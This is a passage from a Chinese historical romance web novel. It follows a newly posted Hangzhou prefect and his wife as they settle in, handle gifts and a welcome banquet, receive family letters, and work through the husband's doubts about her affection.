沈云楹点点头,跟着到杭州的管家是燕伯的儿子,跟在燕伯身边历练五六年,现在能独当一面。于是,他荣升杭州燕府的管家,燕伯留在京城看家。 “好,夫君打理的处处妥帖。”沈云楹粗粗看了一圈新院子。这是后院最好最大的院子,装饰布局与公主府的铮然居大致相同,她抬头看了燕培风一眼,是他的主意。 小燕管家不敢自作主张装饰她的正院。 “多谢夫君。”沈云楹展颜一笑,领燕培风的情。 燕培风眉峰微动,眼底闪过一丝暗芒,柔声道:“夫人满意就好。” 小夫妻说话的时候,银屏和银筝忙着归置东西,新来的红叶,就是皇上赏赐的武婢,跟着打下手帮忙。 门外匆匆进来两个嬷嬷,银筝出去问话,回来就道:“夫人,老爷。管家说同知、通判两位大人登门拜访,问老爷见不见?” “门房收到各家庆贺礼单,请夫人老爷过目。另有,厨房来问,晚膳要用些什么?在哪儿用?” 燕培风皱起眉头,“这么快就来了。领人去前院正厅。”低头对沈云楹道:“礼单就交给你,有什么好的你尽管挑。” “至于晚膳,”燕培风首次处理琐碎的家事,还有点不适应,“做些清淡的菜式。” 沈云楹朝银筝点点头,银筝诶一声,就去和门外的嬷嬷传话,再跟去厨房点菜。她们奔波一路,要按着沈云楹的口味,点几样清淡又滋补的。 新官上任,贺礼单子都堆满一个箩筐。 沈云楹翻了翻,珠宝衣裳,摆件吃食,应有尽有。 还有一个特别的礼物。 “戏班子?”沈云楹盯着这三个字,好奇问。 “听送礼的人说,是江南有名的戏班子,牡丹班。里头个个是美人儿,两位头牌尤其出色。依奴婢看,这家人醉翁之意不在酒。京城有唐家送一个杜冰淼,闹出那么多事!春喜班有二十个人呢!”银筝鼓起腮帮子,才来杭州呢,就要闹幺蛾子。 银屏笑道:“这怎么能一样?戏班子的女伶是贱籍,卖身契都在夫人手里。”她指着旁边特意注明的小字,整个戏班子的卖身契都送来了。 沈云楹看着落款的席家记号,微微蹙眉,不知道这席家是什么意思。 茶商席家,是杭州四大富商之一。其他三家送的礼都中规中矩,有种观望的意思。杭州有蓄养戏班子的风气,有头有脸的人家都养着好几个戏班子。 席家是有投靠燕培风的意思吗? 想到此处,沈云楹赶紧摇摇脑袋,这些事还是交给燕培风处理。官场的事都归他。现在迎来送往,也是燕培风的。 沈云楹知道,在京城时候,公主府的下人私下说小话的时候,都说她是京城闲夫人。可是沈云楹觉得自己也很累啊。府里的事她要盯着大头,光是燕家收礼回礼,她就要耗费不少心思。 不知道燕培风听到闲夫人的名号会怎么想。 现在燕培风能体验一下她的辛苦,沈云楹扬起笑容,“戏班子的人都来了吗?” 银筝道:“在侧门边上呢。” “春喜班有名,人又好看,就收下吧。燕培风那么忙,享用的人八成是我,”沈云楹转头对三个丫鬟道:“到时候,咱们一起去听戏,摆上些瓜果糕点。好好听听江南的戏,和京城肯定大不相同。” “那敢情好,奴婢要看看她们都长什么模样。”吹嘘多么好看,银筝更相信眼见为实,“要是真貌比西子,我就打赏三个月的月例给她们。” “行,我听到了,银筝可要记住你的话。”沈云楹笑道,又指着银屏、红叶,“这儿还有两个证人。” 银筝拔高声音,“奴婢说话算话,骗人的是小狗。” 屋内四人都笑了。 沈云楹又想起解闷必备的话本子,“银屏,别忘了去打听打听杭州的书肆。” 银屏笑着应下,一听就知道沈云楹的算盘。 “让铜书写的条子写好没?”沈云楹想把公主府的规矩照搬到新府邸,吩咐丫鬟把它们写成条子,送到燕培风那儿,让他照着规矩管。 燕培风没管过后院的琐碎事务,沈云楹要帮他一把。等歇上一两个月,沈云楹再接过来,不至于交接麻烦。 银屏回道:“都写好了,铜书正誊抄呢。” 沈云楹点点头,完工就好。 “去问问前院要不要摆膳?”沈云楹看天色渐晚,打发人前院,等了一会儿,就有人来报,燕培风留客用晚膳。 沈云楹便自行用膳,还不忘吩咐人煮热水,她晚点要沐浴。 沈云楹那儿只有送礼的好处。燕培风刚上任却迎头砸下官府欠薪的难题。 杭州同知石光敏刚见面寒暄不过三句,就苦着脸道:“府尊大人,下官实在为难,艰难支撑了两个月,如今真是顶不住了。这才冒昧上门叨扰。” “不瞒您,六房书吏并三班衙役,已有两个月未曾发放俸禄。” 燕培风嘴角微扬,一副不相信的样子,“石同知说笑了,谁不知江南富庶。杭州是府城,怎会拖欠俸禄?” 石光敏皱着一张宽脸道:“府尊大人有所不知,前任知府留不住银子,下官们没法子,拖一两个月发放俸禄是常事。有总比没有好啊。” “下官与钟通判处处安抚,只等大人上任,给底下人解决此事。” 燕培风似笑非笑盯着石光敏,没应下,而是看向钟世丰,“钟通判也是为了此事而来?” 钟世丰颔首,抬起清瘦的脸,拱手道:“除此之外,还有一件要紧事,今年四月府试的一应事宜还得大人做主。” 燕培风若有所思地看看杭州知府的左右手,都不是善茬。他人刚到,还没安顿下来,就联袂登门催他办事了。 石光敏暗示前任知府贪污无度,账上没银子发俸禄。一面之词,未必是真。 不过,燕培风早有心理准备。杭州形势复杂,这点子下马威,他还不放在眼里。 第76章 生疑 人走账消, 是官场不成文的规矩。 前任知府死的不光彩,但没有罪名,他的家小早就收拾回乡守制。他要是追究到底, 开了这个口子,怕还没站稳脚跟就要成为众矢之的。 “明日我去衙门消账。”这种烂账, 没什么好计较的。两个月, 约莫两千三百两银子。他付了。 燕培风佯装没看到石同知惊诧的眼神, 意有所指地说:“我初来乍到,前任知府留下的摊子, 能收的就收起来。本官过往不究。” “但本官也有本官的规矩,今后如何行事,就得按照我的规矩来。石同知、钟通判,你们先后协助两任知府, 我还盼着二位鼎力相助。” 石光敏和钟通判连连点头,口内道:“辅佐大人是下官之责。” 燕培风颔首,对钟通判道:“府试的成例在哪?先呈上来我看看, 过两日与你详谈。” 钟世丰露出如释重负的笑,点头应下, 燕培风主事就好。 接着,石光敏又提出明日在明畅园为燕培风和沈云楹接风洗尘, 还特意说明除了他们几个下官,还有杭州四大富商。 燕培风笑着答应,眼看就到晚膳时辰,两人提出告辞,他们掐着点来,就没有留饭的意思。 等他们一走,侧门就进来一个模样清秀的书生, 冬日还附庸风雅带着一把折扇。 “下马威来得真快。”左文景凉凉地讽刺一句,长腿一迈,坐在燕培风对面。 左文景是皇上派来辅佐燕培风查盐税的人,现在是他名义上的门客。这人面上看着像是文弱书生,实则才学还没有武艺的一半。 小燕管家额头冒出冷汗,低头请罪道:“是奴才办事不力,没有打听到此事。还请老爷责罚。” “无碍。”燕培风心里对这事存疑,底下那么多官吏,没一个人有怨言? 小燕管家忙附和道:“人人都说江南富庶,奴才实在没想到,连同知和通判都被欠俸禄。” 左文景冷笑,“他们两个没有,底下的衙役捕快就难说了。” “这点钱不多,给就给了。”燕培风也是顾虑到底层衙役才毫不犹豫撒钱出去。当前事多,他只能抓大放小,等理顺知府公务,腾出手再收拾他们。 燕培风吩咐小燕管家去账房支银子办事。 左文景满含幽怨地看一眼燕培风,这个上司真会压榨人。燕培风自己要知府公务和盐税两把抓,就想要一个两方面都能负责的助手。而左文景就是绝佳人选。于是,燕培风不为所动地喝茶。 左文景只能认命干活,开始问:“先查杭州盐商姚家?” 盐商姚家,他们这边查了初步资料。更具体的信息,尤其是每年盐引、盐税,甚至包括产地,都需要打入内部才能查到。 安插人、取得姚家信任,都需要时间。左文景微微皱眉,他觉得有点慢了。 燕培风道:“心急吃不了热豆腐。” 左文景取出一叠信件,全是杭州城内的情况,各家最新消息。 好的计划要依时而动,燕培风和左文景连晚膳都等不及用,便去书房看消息和制定计划。 —— 亥时末,夜风微凉,燕培风来到铮然居。此时,铮然居已经熄了灯,院内很安静。燕培风到的时候,门外站岗的红叶第一个反应过来,盯向门口,发现是燕培风才无趣的挪开视线。 银屏面有难色地上前,轻声道:“老爷,夫人已经睡下了。” 燕培风轻轻唔一声,没有就此停下,放轻动作打开屋门,他想进屋看看沈云楹。半路看到放在桌面上的礼单,头一张最显眼,燕培风忽然停下,抬头问面前的丫鬟,“这些夫人都处理过了?” 银屏连连点头,“夫人都仔细瞧过了,还吩咐奴婢送去前院,让您过目。” 燕培风一目十行,只一会儿功夫就知道席家礼单内容。 “春喜班,夫人怎么处理的?”燕培风眼尾挑起,目不转睛盯着银屏。 “夫人很高兴,便收下了。”银屏低头,恭敬的道。 燕培风倒退两步,拿起春喜班的详细介绍,不过都是些俗物。沈云楹就这么毫不犹豫,没找他商量一下就收下了? 沈云楹不吃醋吗? 春喜班的名气,燕培风略有耳闻。整个班子都是貌美女子。上回唐家送杜冰淼,沈云楹就不想接下,把人推到自己这里。燕培风心想,沈云楹应该是有些吃醋,还有些生气。 怎么这回,就愿意收人? 燕培风心头压下的疑问又涌上来,随手将单子一抛,凝眉走进里间。 银屏神色不安,摸不准燕培风的心思。她觉得沈云楹收的没问题。杭州、乃至整个江南都有这样的风气,谁家没有一两个戏班子。 也是为燕培风做脸面啊。 隔着寒梅图檀木屏风,银屏没有跟上去,隐隐约约瞧见燕培风站在沈云楹床前,高大的身影逮住沈云楹的脸。而燕培风背对着,银屏根本看不清他的表情,而燕培风似是心情不佳。 银屏纠结,是进去提醒燕培风要不要梳洗沐浴再睡觉,还是转身离开,她想了想,还是选择后者。 从京城到杭州,水陆两道都走过,一路奔波,沈云楹虽然不晕船也不怕马车颠簸,但是旅途的疲惫是实打实的。 沈云楹舒舒服服地洗过热水澡,便深感困倦。听说燕培风和门客在前院书房谈话,沈云楹想着燕培风不会再过来,直接上床歇息。 燕培风知晓沈云楹很累,也没有叫醒沈云楹的意思。他就这么安安静静地站在床边,盯着沈云楹沉思。 沈云楹真的心仪于他吗? 若是半个月前,燕培风会毫不犹豫点头。但是,路上朝夕相处,尤其在船上,看到沈云楹与蒋文笙的相处,看着沈云楹悠然自乐,每天晚上都更牵挂蒋文笙,而不是他。十日有八日都要去蒋文笙的船舱。 还有那日,燕培风在甲板上看到船夫与船娘几对夫妻的相处。她们笑着望向丈夫的眼神,和沈云楹望向他的眼神,不太一样。 燕培风细细挖出母亲和父亲相处的模样,她满眼娇羞,嘴角噙笑,浑身似乎都泛着温柔二字。燕培风摇摇头,六年过去,他应该美化了记忆中的母亲。 还有祖母、皇后、太子妃,燕培风将这些与丈夫感情深厚的妻子列出来,回想她们与丈夫相处的情景。 多亏燕培风自小记性好,许多事都记得清清楚楚。 越是对比,燕培风心口就越是跳得飞快。 忽然,沈云楹舒展手脚,翻了个身,将被子扯开一半,白皙的手臂垂落,浅紫色的寝衣袖口被拉住,细腻光滑的肌肤就这么暴露在空气中。 屋内燃着暖炉,但温度比起被窝里还是低,沈云楹模模糊糊地喊一声,“冷。” 手还划动两下,看姿势,应该是想藏进被褥。可惜,床下压根没有被子。 目睹全程的燕培风立即弯腰,握住纤白的皓腕,帮她放回被子内。但想到沈云楹累极后休息,就会在床上舒展拳脚,他觉得这样还不可靠。 燕培风轻手轻脚脱衣、上床,揽住沈云楹的腰,将人抱进怀中,用自己束缚住可能半夜踢被子的沈云楹。 幽深的眼神一寸寸抚过沈云楹的面容,燕培风轻叹口气,沈云楹应该是喜欢他的。这半年来的种种,都做不得假。 张秋镇龙王庙的顿顿好饭,他身上的衣裳、里衣、香囊,还有沈云楹送来的狼毫笔,燕培风逐一拎出沈云楹心意的证据。 他的感觉,不一定是直觉,也可能是错觉。 —— 翌日,沈云楹睡到日上三竿才醒,但整个人就面色红润,精神饱满。路途上虽没失眠,但昨晚才是真正的放松。 银筝进来帮沈云楹梳妆穿衣,用早膳。 “今晚有接风宴,在杭州名园明畅园办。”银筝期待道,“老爷说,人不多,只有同知、通判和推官三家夫人,和四大富商家的夫人。” 沈云楹不喜出门,接风宴还是得出席的。刚到杭州,怎么也得见见这些以后要常打交道的夫人们。 七个人,的确是不多。 “燕培风去衙门了?”沈云楹吩咐撤下碟子,“等他回来,还是我们直接从府里过去?” “老爷说,会回府接您过去。”银筝传燕培风的话,“他要先忙衙门的事,大概酉时就能回。” 沈云楹点点头,走去挑衣裳。 明畅园是杭州著名的两大园子之一,经过几代主人的扩建和修缮,又有文人墨客题诗赞美,不仅在杭州有名气,只要提及江南园林,明畅园必定榜上有名。 燕家马车徐徐驶进明畅园,沈云楹又偷偷瞄了一眼燕培风,她觉得燕培风心情不太好。难道是公事不顺?被底下人联合排挤了? 知道要来明畅园,沈云楹还以为燕培风会开心,因为这些雅致园林就很投燕培风这类文人儒生的口味啊。 到了明畅园的仪门,就有人来提醒两人下车。 临分开前,燕培风吩咐红叶:“跟紧夫人。”又转身对沈云楹柔声道:“后院以你为主,你随意些就是。待累了就回府。” 燕培风心知沈云楹不喜应酬,不想她勉强自己。 沈云楹微微一笑,她知道的。想了想,沈云楹还是拉住燕培风的袖子,小声问:“衙门有人为难你了吗?” 要是丈夫在衙门为难燕培风,她也不会给其妻好脸色。 燕培风低头看着修长指节捏紧的袖口,沈云楹脸颊有些鼓起,她在为自己抱不平吗?燕培风闷笑一声,反问道:“夫人要为我做主吗?” 第77章 来信 听着燕培风的笑声, 沈云楹忽然有些脸热,抬头睨他一眼,“你堂堂七尺男儿, 还需要我出头吗?” 燕培风笑意不减,心神一转, “今日席家是陪客, 夫人不妨看看她家为何送春喜班给你?” 给沈云楹找点趣事, 省得宴席上无聊。 沈云楹果然有兴趣,她还没见过春喜班, 只听过她们的名声。本以为席家或是巴结或者故意挑拨,总之不安好心,现在听燕培风这么一提,里面似乎另有内情。 沈云楹不禁微微扬眉, “好。” 明畅园庭院葳蕤,前院宴男宾,后院宴女宾。下了马车, 两人不好久留,便跟着伺候的下人一前一后离开。 沈云楹还在路上, 正厅里宴席众夫人都到了。 此时,东道主同知石夫人正和通判钟夫人问起宴席的歌舞安排。剩下的几位夫人都在低声聊天, 说的都是燕家事。 在知道燕培风调任到杭州当知府,她们这些在杭州盘踞的家族自然要好好打听,将来好交往不是? 对于燕培风的到来,屋内七位夫人各有心思。 而其中最欢喜的莫过于茶商席家,席夫人同药商白家白夫人交情最好。她侧头轻声说:“燕夫人的年纪比我家小女儿还小呢,已经是四品诰命夫人了。” 语气中饱含感叹与羡慕。商户与官宦,真真是天壤之别。 白夫人低声道:“听说在京城时候, 燕夫人并不怎么得燕大人青眼。到了咱们这里才传出夫妻恩爱的声音。可见杭州对燕夫人是块福地。” 席夫人眼神闪了闪,白家用好药材开路,与京城显贵之家的往来比自家更深,对高门大户的内宅更清楚。 她们席家在京城的人打听到沈云楹出身太师府,可是才学不行。不过,女子无才便是德。席夫人自己就只看得懂账本,心想沈云楹年轻貌美,与燕培风在船上朝夕相处,生出些感情来不足为奇。 席夫人明白白夫人的暗示,沈云楹和丈夫感渐好,她却给人送去一个全是漂亮女子的戏班子,有些失礼,还容易得罪人。 “还记得殷水皇商唐家吗?”席夫人压低声音,见白夫人点点头,接着道:“他家给燕大人使过美人计,可惜人还没进门就被燕大人赶出去了。燕大人和那些读书人不一样,是真洁身自好。” 白夫人听出意思来了,燕大人看不上春喜班,笑道:“还是看看这位知府夫人怎么样。” 话音刚落,门外就传来脚步声,迎面进来一位姿容丰美,面庞艳丽的年轻美妇,行走间身姿袅娜,气韵雍容,一身气度将杭州、江南的美人都比了下去。 作为知府夫人露面的第一场宴席,沈云楹用心装扮过,头上更是鎏金嵌红宝石的头面,衬得人面比花娇,让人不禁眼前一亮。 同知石夫人率先站起身,笑盈盈招呼沈云楹,“燕夫人来了,早听说夫人贤惠宽和的美名,今日总算能一睹真容。” 沈云楹粲然一笑,恰到好处地问:“你就是石夫人吧?夫人谬赞了。” 石夫人面色僵硬片刻,脸上依然在笑,主动为沈云楹介绍众人,“京城人人都说沈云楹不喜走动,我们便自作主张,就我们几个妇人陪您坐坐。” 说着,她已经走到沈云楹身边,一一介绍过通判钟夫人、推官夫人、茶商席家、盐商姚家、丝商苗家、药商白家。 沈云楹一一点头致意,这七位夫人官商皆有,是能杭州城内身份地位最高的夫人了,在精不在多。 因为人少,沈云楹一下就能记住所有人。她多看了席夫人一眼,席夫人富态十足,眼神清明,眼角边有一颗明显的红痣。她的身边是高挑匀称的白夫人,两人靠得近,显然比别家要好。 明畅园的上等席面,全是杭州菜式,刚见面彼此都比较客气,席间谈论的就是南北吃食,衣裳首饰。 菜过五味,沈云楹留意到同知石夫人刚张开嘴巴就被席夫人截了胡,她声音清亮,“杭州八景美不胜收,三月正是观赏的好时候,燕夫人刚来,不知有没有听过这八个地方?” 沈云楹想到燕培风的话,笑道:“江南处处是风景,只是以前不曾听说过杭州八景的说法?” “去年不知哪位书生出了一本山水集,大大赞扬了八景,这才有这么个说法。”席夫人笑道,“灵山寺求姻缘求子都是极其灵验的。” 姚夫人视线往沈云楹看去,嘲讽道:“求神拜佛,也得有人才行。孤家寡人的,拜再多也是无用。” 正厅和谐的气氛顿消,沈云楹端起茶杯,眼神扫过众人神色。 石夫人狠狠瞪了一眼姚夫人,但没开口的意思。席夫人面露不忿之色,白夫人轻轻拉着她手臂。 其他人事不关己,看热闹似的坐在一边。 沈云楹对她们的官司有点兴趣,但不想被人拿捏着问出来,便保持沉默,任姚夫人看过好几眼,就是不开口。 姚夫人装扮得一身富丽堂皇,比当日的唐夫人更甚三分,还胜过三位官夫人。看她们习以为常的模样,沈云楹心里就有了计较。 盐商夫人竟比同知夫人更有脸面! 似乎是看无人说话,气氛尴尬,石夫人只好主动解围,“饭后一盏茶,脾胃不用查。这是我家坐馆大夫常挂在嘴边的话。明畅园有好茶,几位夫人也尝尝。” 她亲手为沈云楹倒一杯。 沈云楹笑纳了,但没说软和话。她也想瞧瞧杭州夫人们的局势。 这时温温和和的白夫人开口道:“春暖花开好时节,古话说的不错。别人家去求子还罢了,你们的儿媳妇现今都有孕在身,可见有缘分。” 苗家夫人接茬:“还要多亏白家医馆的林大夫。她是妇科圣手,比送子观音还灵验!” “咱们杭州城内,谁不知林大夫的厉害?就是整个江南都有名气。”席夫人笑道,乐于吹捧白家的的大夫,“上个月找林大夫把脉,医馆说,人去了扬州,那儿有个县令夫人成亲二十年都没开怀,全家眼巴巴等着林大夫救命呢。” 下一刻,众人齐齐看向沈云楹。她们都知道沈云楹还没怀孕过。 话到此处,白夫人只能尽量用轻松的语气问道:“燕夫人初到杭州,可请过平安脉了?” 沈云楹婉拒:“多谢白夫人好意了,家中有随行的大夫,是用惯了的。” 白夫人面上笑说无事,心里暗道可惜。白家偏向交好燕培风和沈云楹。只看二人身份,皇帝外甥、太师孙女,就不会在杭州久待。 燕家从前有药材的需求,白家都找不着门路登嘉荣长公主府的门。 白夫人顺着话头道:“燕大人爱重您,顾虑周全。” 接着,其他人纷纷开口赞扬燕培风与沈云楹夫妻情深,沈云楹被恭维得面颊泛红,好在知道是假的,还能稳住。 沈云楹怀疑她们是看自己年轻,想哄住自己,今后好上门办事,心下一直保持着警惕。 终于从明畅园出来,沈云楹一回到铮然居就喊累,她躺在美人榻上感叹:“听好话也是个累活。” 银屏和银筝对视笑笑,一人上茶,一人用美人锤帮沈云楹敲腿。红叶习惯性警惕了一路,没发现异常,回到铮然居才安心。 银屏端来茶水,忍笑道:“夫人,喝山楂茶消消食。奴婢瞧着你在宴上,一边挨夸一边嘴里就没停过。” 沈云楹听出她没收住的笑音,轻哼道:“你笑话我了。那几个夫人就会睁眼说瞎话,听得人怪别扭。” 银屏道:“夸您夫妻情深,不比在京城时候好?” 沈云楹喝一口山楂茶,里头加了蜂蜜,酸酸甜甜的。听了银屏的话,笑得往后一靠,“我们夫妻恩爱?” 正是主仆叙话,每个人都带笑,银屏和银筝不说话,边上的红叶直愣愣地回一句:“夫人老爷真是夫妻恩爱鹣鲽情深!” 沈云楹累死垂中惊坐起,“啊?” 红叶跟在沈云楹身边半个月,很适应当二等丫鬟的日子,发现自己还挺喜欢这种生活。红叶不知沈云楹在惊讶混什么,点头道:“大家都这么说啊。” 她一路看下来,心里也是这么想的。 船上处处妥帖就不说了。昨夜那么晚,燕培风还要来搂抱着沈云楹睡觉。 她耳朵灵着呢,站在门外依然将屋内的动静听得清清楚楚。 对自己耳朵很自信的红叶自豪挺胸,赤橙黄绿青蓝紫暗卫七营,她就是凭借耳朵和拳脚排到赤字营!绝不可能听错。 沈云楹猛地抬头,撞上红叶坦诚清澈的目光,她面上镇定,耳根却泛起微红。 红叶是直愣愣的性子,说话行事直来直去,被她这么一说,沈云楹反而不太敢问那些人这么说了。 沈云楹开始沉思,是什么时候传出她与燕培风夫妻感情和睦的话来? 明明在京城时候,她故意放出风,自己不得燕培风宠爱的呀。 沈云楹眼帘低垂,沉思不语,银屏拉住红叶的胳膊,不让她再开口。要说真正感受到燕培风对沈云楹事事上心的人,当属银屏和银筝二人。 但银筝心思单纯些,相信沈云楹的话,跟着赞扬燕培风说话算话,果然让蒋文笙离开太师府,又揽过后宅事务,让沈云楹轻松度日。 银屏却多想了些,燕培风似乎变了。她正要与沈云楹禀报,门房送进来一封信,说是从江南书院寄来的。 沈云楹一听,暂且抛开方才的疑惑,立即要拆信。 第78章 起伏 沈云楹迫不及待打开信, 字迹娟秀,果然是蒋文笙寄来的。 蒋文笙说,在蒋家一切都好, 父女团聚皆大欢喜,外祖父蒋宜特意向江南书院告假留在家中。 看到外祖父如此重视母亲, 沈云楹心安不少。她急着往下看, 蒋家两位舅母跟着舅舅赴任, 后宅是表姐蒋玥做主,有外祖父的表态, 蒋文笙应该不会受委屈。 至于沈础筠、沈础鹤两位堂兄,经过外祖父考察功课,直接安排进江南书院学习一段时间。吃住都在江南书院。 沈云楹微微一笑,蒋文笙只要偶尔送些衣裳吃食, 就能得个照顾侄子的美名,对沈太师和沈老夫人也算有交代。 “随信送来的东西呢?”沈云楹笑看第二张信纸,小楷稚嫩, 是蒋琬写的。 银筝正从外头拿进来一个大匣子,“在这儿呢。” 沈云楹打开, 十二个巴掌大的青团儿,三十六个粉嫩嫩的桃花饼, 整整齐齐的映入眼帘。她笑道:“这是琬儿亲手做的,咱们尝尝。” “表姑娘才多大,厨艺这般好?”银筝惊讶得合不拢嘴,听话的从中拿一个桃花饼。银屏和红叶也尝尝味道。 沈云楹每样尝一个,“青团甜而不腻,桃花饼酥脆爽口。剩下的收起来。” 今晚吃的有点撑,再好吃都吃不下。 “要收什么?”一道温润的嗓音从外面传进来, 燕培风身着月白色圆领直缀,他发现掌管家事的好处之一,信息很及时。 江南书院有信件到。 他一得到消息就过来了。江南书院有位三表兄蒋高棋,听说性子和蒋高恒差不多,燕培风不想再来一个和沈云楹脾性相投的表兄! 沈云楹笑颜绽放,“母亲来信了,”又看着匣子,“我小表妹亲手做的点心,你要不要尝尝?” 燕培风又不是为了这口吃的而来,眼神扫过青色和粉色的糕饼,摇头道:“你留着吃。” “岳母在外祖家可好?” 沈云楹点点头,“母亲住进未出嫁前的院子,外祖父还告假两天。” 燕培风颔首,蒋宜重视女儿,岳母在娘家过得好,他没有弄巧成拙。若是蒋家不欢迎岳母,燕培风就得把人接过来。 “还有一件事儿,四月初九外祖父做寿。你能去吗?”沈云楹抬头问,她必是要去的。 红宝石熠熠生辉,美人杏眸流转,更灵动,生机勃勃。 燕培风早有安排,衙门里的事务已经有条不紊的进行。他声音不疾不徐,“明日起,我去周边的长华、新康二县走一圈,月底去金陵巡视漕运。正好赶上给外祖父祝寿。” 他留足时间,给石同知和钟通判重新收拾衙门的机会。燕培风想要相对稳定听话的两位佐官,要是他们做不到,就不怪他新官上任三把火了。 视线在沈云楹的身上迟疑片刻,趁此机会,他要好好思索一下沈云楹的心意。朝夕相处半个月,燕培风又是洞察人心之人,思来想去,到底不能自欺欺人。他要慎重的想一想。 沈云楹好奇地看他一眼,燕培风不先捋顺府城的公务?她没记错的话,杭州八县中,长华、新康两县表现平平,算是八县里头垫底的。 杭州人杰地灵、商业繁荣,更有盐场、桑苗、药材种植山等等,有四大商户在,周边的县城一般都有自己的特色产业。只有长华、新康没有。 衙门的事,燕培风不明说,沈云楹便不问。她还记着燕培风的隐藏任务是查盐税。 保密的事,少打听,多长命! 沈云楹:“那在外祖家住几天?”她还没见过外祖父和蒋家其他人。 “住三四天?江南书院文风醇厚,英才济济,我早就想去看看。”燕培风不是客气,当年考中举人后,燕培风曾经计划来江南书院进学。可惜父母身体都不甚好,燕培风最后还是选择留在京城。 贺寿的事情谈妥,沈云楹更加欣喜,笑意掩过疲倦。 燕培风问起今晚接风宴,沈云楹就道:“听了一肚子杭州风光。”后半段儿全是在恭维她夫妻情深,沈云楹觉得有点怪异。看那些夫人,不像是去京城打听过的样子。 燕培风轻笑一声,后宅夫人很稳妥的话题。看来昨夜和今日在衙门的动作,让这些人知道自己不是没獠牙能受摆布的人。 燕培风不知不觉已经牵上沈云楹的手,正要问问春戏班的事,门外响起思齐的声音,“老爷,左师爷有急事要见您。” 燕培风皱眉,“让他去书房。”低头看向沈云楹,他还想今晚留宿铮然居的。 沈云楹推了推他,燕培风的目光欲念半露,毫不遮掩。沈云楹觉得这两天燕培风的心情忽好忽坏,就像今晚,去赴宴前他似乎有心事,现在有神情平和。 等燕培风一走,沈云楹凝眉轻声问:“你们觉不觉得燕培风这阵子怪怪的?” 银筝摇摇头,爽脆道:“没有。” 红叶接着:“没有。” 银屏欲言又止,想到路途中自己提醒过燕培风对待沈云楹事无巨细。沈云楹认为是燕培风履行诺言,他又是细心有规划的人。 事事安排妥帖,很正常。 银屏想想,接上队形:“没有。” 得到身边三个丫鬟的回答,沈云楹当即撂开手,“备热水没有?我要沐浴,早些睡觉。” —— 燕培风外出公干,沈云楹逐渐适应在杭州的生活。 江南春早,沈云楹常常喂鱼,赏花,看话本品游记,兴致来了便作画,还有每日不落品尝杭州各种吃食。 收到一箩筐请帖,可是沈云楹一个都没去,只挑出重要的人家亲笔回信婉拒。 “您不去逛逛新鲜景儿吗?”银筝心中好奇的不行,沈云楹明明说要逛杭州城的,怎么有空也不出门? “不想出门。”沈云楹的声音慵懒又轻飘,她闭着眼睛,整个人舒展地窝在躺椅,旭日初升,阳光晒得人暖暖的。 银屏提醒,“夫人,该备寿礼了。”沈云楹重视蒋家,眼看日子越来越近,怎么还没提备寿礼的事。银屏担心沈云楹忘记。 沈云楹睁开眼,笑道:“早备好啦。托两位堂姐的福,我有不少珍本。听说外祖父喜欢延春大家的书法,我正好有一件真品。” 她第一次去外祖家贺寿,这份礼蒋宜一定满意。 “不知道娘准备的怎么样?她没带多少行李。”沈云楹不担心,却担心起蒋文笙。 银屏笑道:“三夫人早有了,是亲手绣的小炕屏。花样还是三夫人亲手描的,松鹤延年。” 沈云楹直起身,“娘在京城绣的?” 如果没来江南,可能就直接送贺礼。那是得提前准备好。过年那会儿蒋文笙还生病了,也不知这炕屏做了多久。 银屏点点头,看到厨房的丫鬟,就道:“夫人,你要的糖酥酪来了,要起身吗?” 今儿一早,沈云楹就想吃点甜的,偏偏早膳是咸粥,她就多点一道糖酥酪。 糖酥酪比晒太阳重要。 沈云楹在心里算日子,今日二十七了,“燕培风有信传回来吗?” “还没有。”银屏低声回道,四天前,燕培风送回一份信说长华县事毕,要去新康县。她略略侧头观察沈云楹的神色,怕她伤心。 沈云楹叹口气,“没个消息,我都不知道什么时候收拾行李。回信也不能写。”蒋文笙又写信来问什么时候去金陵。沈云楹自己也不知道呢。 要是燕培风不去,她就不用等他了。 银屏一颗心上上下下,想着还好自己没再多提燕培风对沈云楹的好。出门这么久,只有报平安一回,离开长华县一回,就这么两次。银屏确认自己多心了,还是沈云楹眼明心亮,她不禁佩服地看向沈云楹。 “你们先收拾要紧的东西,也别多了,外祖家什么都有。”沈云楹不想连摆设被褥这些都带上,她一不娇气,二嫌麻烦。蒋家是传承几代的书香人家,不差这点东西。 银屏应声去办。 新府邸后院有一个湖,从山上引来的活水,左边种满荷花。 “三月春藕肥白鲜嫩,我们去后面摘新鲜的。送些去厨房煲汤,剩下的做藕粉。”沈云楹随性决定今日的行程。蒋文笙喜欢喝藕粉,她得了就给蒋文笙送去。 银筝活泼,她已经连着念了三日话本子,不想再念了。沈云楹说去摘藕,真是太好了。 “夫人,咱们现在就去吧?奴婢给您划船!” 银筝有力气,以前在太师府就亲自划船,带着沈云楹和银屏在湖面玩耍。 沈云楹领着人去湖边折腾到晌午,又睡过午觉,醒来正好吩咐厨娘来一起磨藕粉。厨娘说本地做藕粉,切碎后要先晾一日,所以很快就完工。 沈云楹巡视过一遍,等着明日再继续。 天黑前,沈云楹正纠结要不要派个人去新康县问问燕培风何时能回。银筝就欢喜地进屋,“夫人,老爷回来了!” 沈云楹惊喜地起身,迎出门,果然看到一道颀长的身影。燕培风依然丰神俊朗,双目神采奕奕,丝毫不见奔波的疲倦。 冒在喉咙口的夫君辛苦了生生说不出来。 沈云楹怔愣了一下,迅速换个说辞,高兴道:“夫君回来了。” 对上燕培风沉稳幽深的凤眸,沈云楹心头一跳,燕培风不对劲的感觉又来了! 盐税太难,使人性情起伏? 沈云楹笑颜迎归人,燕培风眉峰一扬,步履渐快,不着痕迹摸过袖中的东西,便直直盯着沈云楹,终于见到盘桓在脑中的人,燕培风顺手揽住她的纤腰,低声道:“进屋吧。” 第79章 做戏 天气渐热, 铮然居的陈设都偏清新雅致方向,屋内摆着镂空葡萄缠枝屏风,矮凳上是一个瓷白大肚圆瓶, 斜插着几朵粉桃。 沈云楹转身进屋,余光往自己腰间一瞥, 燕培风的手, 是不是太自然了些?沈云楹往前想了想, 她和燕培风好像越来越亲近了? 从什么时候开始,每次见面, 燕培风总是动手动脚的?不是牵手,就是搂腰。 沈云楹心间一紧,朝前走一大步,为燕培风倒茶, 不着痕迹与燕培风拉开距离。 “喝口热茶,”沈云楹递给对面的男人,又问:“我叫人备热水, 你先洗漱一番?” 让她缓一缓。 燕培风接过茶杯,粗糙的手指擦过白嫩的细指, 他垂眸看着眼神闪躲的沈云楹,非但不恼, 反而笑道:“不着急。” 